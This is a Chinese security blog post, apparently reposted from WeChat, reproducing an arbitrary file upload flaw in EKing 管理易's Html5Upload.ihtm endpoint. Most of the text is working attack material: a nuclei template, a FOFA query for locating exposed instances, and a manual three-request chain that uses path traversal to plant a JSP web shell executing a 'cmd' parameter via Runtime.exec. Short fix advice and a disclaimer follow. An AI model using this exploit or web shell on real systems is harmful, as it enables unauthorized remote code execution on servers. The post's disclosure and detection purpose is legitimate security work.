eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

admin 2024年11月20日13:34:35评论26 views字数 4084阅读13分36秒阅读模式

漏洞描述:

eking管理易Html5Upload接口处存在任意文件上传漏洞。攻击者可通过上传包含恶意代码的文件到服务器,使恶意文件被执行,从而导致系统被入侵或遭受其他安全风险。

01-Nuclei POC

id: Eking-guanliyi-Html5Upload-fileupload

info:
  name: eking管理易Html5Upload接口处存在任意文件上传漏洞
  author: kingkong
  severity: high
  metadata:
    fofa-query: app="EKing-管理易"
variables:
  filename: "{{rand_base(8)}}"
  filedata: "{{randstr}}"

http:
  - raw:
      - |
        POST /Html5Upload.ihtm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        comm_type=INIT&sign_id=test&vp_type=default&file_name=../../{{filename}}.jsp&file_size=2048

      - |
        POST /Html5Upload.ihtm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
        Connection: close

        ------WebKitFormBoundaryj7OlOPiiukkdktZR
        Content-Disposition: form-data; name="comm_type"

        DATA
        ------WebKitFormBoundaryj7OlOPiiukkdktZR
        Content-Disposition: form-data; name="sign_id"

        test
        ------WebKitFormBoundaryj7OlOPiiukkdktZR
        Content-Disposition: form-data; name="data_inde"

        0
        ------WebKitFormBoundaryj7OlOPiiukkdktZR
        Content-Disposition: form-data; name="data"; filename="chunk1"
        Content-Type: application/octet-stream

        <%out.println("{{filedata}}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
        ------WebKitFormBoundaryj7OlOPiiukkdktZR--

      - |
        POST /Html5Upload.ihtm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        comm_type=END&sign_id=test&file_name=../../{{filename}}.jsp

      - |
        GET {{fileUrl}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
              - 'status_code_1 == 200'
              - 'status_code_2 == 200'
              - 'status_code_3 == 200'
              - 'status_code_4 == 200'
              - 'contains(body_1,"status")'
              - 'contains(body_2,"status")'
              - 'contains(body_3,"status")'
              - 'contains(body_4,"{{filedata}}")'
        condition: and

    extractors:
      - type: regex
        name: fileUrl
        part: body_3
        group: 1
        regex:
          - (upload2/[0-9]{4}-[0-9]{2}-[0-9]{2}/../../[a-zA-Z0-9]{8}.jsp)
        internal: true

02—搜索语法

FOFA:app="EKing-管理易"

eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

界面如下

eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

03—漏洞复现

请求包1:创建临时文件

eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

请求包2:写入文件内容

eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

请求包3:保存文件

eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

访问验证

eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

漏洞检测POC

1、创建临时文件
POST /Html5Upload.ihtm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

comm_type=INIT&sign_id=test&vp_type=default&file_name=../../test.jsp&file_size=2048

2、写入文件内容
POST /Html5Upload.ihtm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Connection: close

------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="comm_type"

DATA
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="sign_id"

test
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data_inde"

0
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data"; filename="chunk1"
Content-Type: application/octet-stream

<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryj7OlOPiiukkdktZR--

3、保存文件
POST /Html5Upload.ihtm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

comm_type=END&sign_id=test&file_name=../../test.jsp

4、访问验证
GET /upload2/2024-11-17/../../test.jsp HTTP/1.1
Host:

neclei批量检测截图

eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

04—修复建议

1、文件类型验证:仅允许上传特定类型的文件,例如图像、文档等,并拒绝可执行文件或其他潜在的恶意文件类型。

2、文件大小限制:限制上传文件的大小,以防止恶意用户上传过大的文件导致服务器资源耗尽。

3、文件名处理:对上传的文件进行重命名,避免使用用户提供的文件名,以防止路径遍历攻击。

 

原文始发于微信公众号(脚本小子):eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日13:34:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   eking管理易Html5Upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】https://cn-sec.com/archives/3414150.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息